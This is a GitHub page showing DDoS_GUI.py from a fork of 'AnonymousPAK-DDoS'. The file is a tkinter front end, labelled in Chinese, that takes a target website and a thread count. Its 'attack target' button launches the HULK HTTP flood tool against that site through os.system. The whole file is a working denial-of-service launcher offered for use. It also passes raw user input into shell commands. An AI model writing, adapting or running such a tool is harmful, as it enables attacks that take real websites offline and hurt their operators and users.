forked from UBISOFT-1/AnonymousPAK-DDoS
-
Notifications
You must be signed in to change notification settings - Fork 2
/
DDoS_GUI.py
55 lines (48 loc) · 1.9 KB
/
DDoS_GUI.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
from tkinter import *
import tkinter as tk
import os
from tkinter import messagebox
import subprocess
import shlex
import platform
#DDoSing Target Function
def run_command(command):
process = subprocess.Popen(shlex.split(command), stdout=subprocess.PIPE)
while True:
output = process.stdout.readline()
if output == '' and process.poll() is not None:
break
if output:
print(output.strip())
rc = process.poll()
return rc
def Attack_Target():
website = str(Website.get())
threads = str(Thread.get())
if str(platform.system()) == 'Linux':
os.system('figlet AnonymousPAK DDoS')
else:
os.system("pyfiglet AnonymousPAK DDoS")
messagebox.showinfo("攻击状态", "HULK-DDoS已经开始使用" + str(threads) + "线程攻击网站" + website)
if str(platform.system()) == 'Windows':
os.system('go run hulk.go -site {0}'.format(website))
else:
DDoS_Output = "HULKMAXPROCS={0} go run hulk.go -site {1}".format(threads, website)
os.system(DDoS_Output)
root = tk.Tk()
root.title("AnonymousPAK-DDoS Tool GUI")
Information = Label(text = "HULK-DDoS Tool (GUI Implementation by Muneeb Khurram)", font = 'Calbri')
Information.grid(row =1, column =1)
Usage = Label(text = '用法:输入需要DDoS的网站 示例:ttps://example.com 和线程数量 即1024~无穷 (Windows上1024线程是下限)')
Usage.grid(row =2, column =1)
Website_Name = Label(text = "在下面输入网站")
Website_Name.grid(row = 3, column =1)
Website = tk.Entry(root,bd = 5)
Website.grid(row =4, column =1)
Thread_Name = Label(text = "在下面输入你要攻击该网站的线程")
Thread_Name.grid(row = 5, column =1)
Thread = tk.Entry(root,bd = 5)
Thread.grid(row = 6, column =1)
Attack_Button = Button(text = '攻击目标', font = 'Calbri', bd = 5, command = Attack_Target)
Attack_Button.grid(row = 7, column =1)
root.mainloop()